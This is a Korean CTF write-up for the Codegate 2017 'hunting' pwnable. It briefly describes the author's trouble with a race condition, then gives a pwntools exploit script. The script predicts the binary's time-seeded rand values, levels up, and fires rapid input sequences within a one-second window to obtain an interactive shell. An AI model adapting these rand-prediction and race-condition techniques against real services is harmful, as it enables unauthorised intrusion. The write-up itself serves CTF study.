Pwnable/CTF
Codegate 2017 hunting
HSr00t
2018. 1. 17. 18:26
레이스컨디션 관련 문제를 찾다가 찾은 문제다.
시간이 조금 오래 걸렷는데 attack에서 1 2 3 만드는것을 그냥 rand % 4값으로 넣는걸로 잘못봐가지고 그걸로 실수를 하였고, sleep부분이 1초밖에 안 되서 p.recvuntil이런걸로 하나하나 받고 입력하고하니깐 1초안에 잘 못들어가는거에서 바로 send 2\n3\n하는 방식을 생각을 못해서 오래걸린것같다..
1초안에 안들어가는것같은데 어떻게하지 생각을 하다가 결국 풀이를 보고 send로 바로 보내는방법이 있다는것을 알았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from pwn import * from ctypes import * libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') p = process("./hunting") libc.srand(int(libc.time(0))) def choice(rand): if rand==1: return 3 elif rand==2: return 2 else: return 1 def use(): print p.recvuntil('Exit') p.send('2'+'\n') libc.rand() % 1000 print p.recvuntil('hp is ') check = p.recv(2048) v1 = int(libc.rand()) v9 = v1 % 4 v2 = v1 % 4 p.sendline(str(choice(v2))) print check return check def change(skill): p.sendlineafter('Exit','3') p.sendlineafter(':',str(skill)) def remove(): p.sendlineafter('Exit','4') change(3) while(True): if "level:4" in use(): break remove() sleep(1) p.send("3\n2\n2\n1\n") p.send("3\n7\n2\n1\n") sleep(1) p.send("3\n2\n2\n2\n") p.send("3\n7\n2\n1\n") p.interactive() | cs |